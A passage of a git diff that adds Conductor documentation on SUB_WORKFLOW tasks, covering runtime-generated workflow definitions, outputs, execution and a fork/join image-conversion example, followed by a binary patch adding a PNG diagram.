expression) + +Set `workflowDefinition` to a `${ref.output.field}` expression. Conductor resolves the expression at task-scheduling time and uses the resulting `WorkflowDef`-shaped Map as the sub-workflow definition. No HTTP registration is required — the workflow is started directly from the Map. + +This pattern is useful when an earlier task (such as a planner agent or an LLM step) generates the execution plan at runtime: + +```json +{ + "name": "exec_plan", + "taskReferenceName": "exec", + "type": "SUB_WORKFLOW", + "inputParameters": { + "threshold": "${workflow.input.threshold}", + "iterations": "${workflow.input.iterations}" + }, + "subWorkflowParam": { + "name": "dynamic_plan_wf", + "version": 1, + "workflowDefinition": "${planner.output.workflow_def}" + } +} +``` + +The task referenced by the expression (`planner` in this example) must output a Map that matches the `WorkflowDef` schema — the same JSON structure you would `POST` to `/api/metadata/workflow`. Conductor converts the Map to a `WorkflowDef` via its internal ObjectMapper and starts it as a sub-workflow. + +A typical parent workflow using this pattern: + +```json +{ + "name": "parent_wf", + "version": 1, + "tasks": [ + { + "name": "planner_task", + "taskReferenceName": "planner", + "type": "SIMPLE", + "inputParameters": { + "goal": "${workflow.input.goal}" + } + }, + { + "name": "exec_plan", + "taskReferenceName": "exec", + "type": "SUB_WORKFLOW", + "inputParameters": { + "threshold": "${workflow.input.threshold}", + "iterations": "${workflow.input.iterations}" + }, + "subWorkflowParam": { + "name": "dynamic_plan_wf", + "version": 1, + "workflowDefinition": "${planner.output.workflow_def}" + } + } + ] +} +``` + +The `planner_task` worker returns a `workflow_def` key in its output containing the full `WorkflowDef` Map (tasks, inputParameters, outputParameters, etc.). The `exec` SUB_WORKFLOW task resolves the expression and executes that definition inline — no prior call to the metadata API needed. + +## Output + +The Sub Workflow task will return the following parameters. + +| Name | Type | Description | +| ---------------- | ------------ | ------------------------------------------------------------- | +| subWorkflowId | String | The workflow execution ID of the sub-workflow. | + +In addition, the task output will also contain the sub-workflow's outputs. + + +## Execution + +During execution, the Sub Workflow task will be marked as COMPLETED only upon the completion of the spawned workflow. If the sub-workflow fails or terminates, the Sub Workflow task will be marked as FAILED and retried if configured. + +If the Sub Workflow task is defined as optional in the parent workflow definition, the Sub Workflow task will not be retried if sub-workflow fails or terminates. In addition, even if the sub-workflow is retried/rerun/restarted after reaching to a terminal status, the parent workflow task status will remain as it is. + + +## Examples + +In this example workflow, a Fork task containing two tasks is used to simultaneously create two images from one image: + +```mermaid +graph LR + A[Start] --> B[Fork] + B --> C[image_convert_jpg] + B --> D[image_convert_webp] + C --> E[Join] + D --> E + E --> F[End] +``` + +The left fork will create a JPG file, and the right fork a WEBP file. Maintaining this workflow might be cumbersome, as changes made to one of the fork tasks do not automatically propagate the other. Rather than using two tasks, we can define a single, reusable `image_convert_resize` workflow that can be called as a sub-workflow in both forks: + + +```json + +{ + "name": "image_convert_resize_subworkflow1", + "description": "Image Processing Workflow", + "version": 1, + "tasks": [{ + "name": "image_convert_resize_multipleformat_fork", + "taskReferenceName": "image_convert_resize_multipleformat_ref", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [{ + "name": "image_convert_resize_sub", + "taskReferenceName": "subworkflow_jpg_ref", + "inputParameters": { + "fileLocation": "${workflow.input.fileLocation}", + "recipeParameters": { + "outputSize": { + "width": "${workflow.input.recipeParameters.outputSize.width}", + "height": "${workflow.input.recipeParameters.outputSize.height}" + }, + "outputFormat": "jpg" + } + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "image_convert_resize", + "version": 1 + } + }], + [{ + "name": "image_convert_resize_sub", + "taskReferenceName": "subworkflow_webp_ref", + "inputParameters": { + "fileLocation": "${workflow.input.fileLocation}", + "recipeParameters": { + "outputSize": { + "width": "${workflow.input.recipeParameters.outputSize.width}", + "height": "${workflow.input.recipeParameters.outputSize.height}" + }, + "outputFormat": "webp" + } + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "image_convert_resize", + "version": 1 + } + } + + ] + ] + }, + { + "name": "image_convert_resize_multipleformat_join", + "taskReferenceName": "image_convert_resize_multipleformat_join_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "subworkflow_jpg_ref", + "upload_toS3_webp_ref" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": { + "fileLocationJpg": "${subworkflow_jpg_ref.output.fileLocation}", + "fileLocationWebp": "${subworkflow_webp_ref.output.fileLocation}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "conductor@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} +``` + +Here is the workflow flow: + +```mermaid +graph LR + A[Start] --> B[Fork] + B --> C["Sub Workflow
    image_convert_resize
    (JPG)"] + B --> D["Sub Workflow
    image_convert_resize
    (WEBP)"] + C --> E[Join] + D --> E + E --> F[End] +``` + +Now that the tasks are abstracted into a sub-workflow, any changes to the sub-workflow will automatically apply to both forks. \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/operators/subworkflow_diagram.png b/docs/documentation/configuration/workflowdef/operators/subworkflow_diagram.png new file mode 100644 index 0000000000000000000000000000000000000000..0e51a10945405445f744572dae10f3ec2e9a86c3 GIT binary patch literal 56222 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 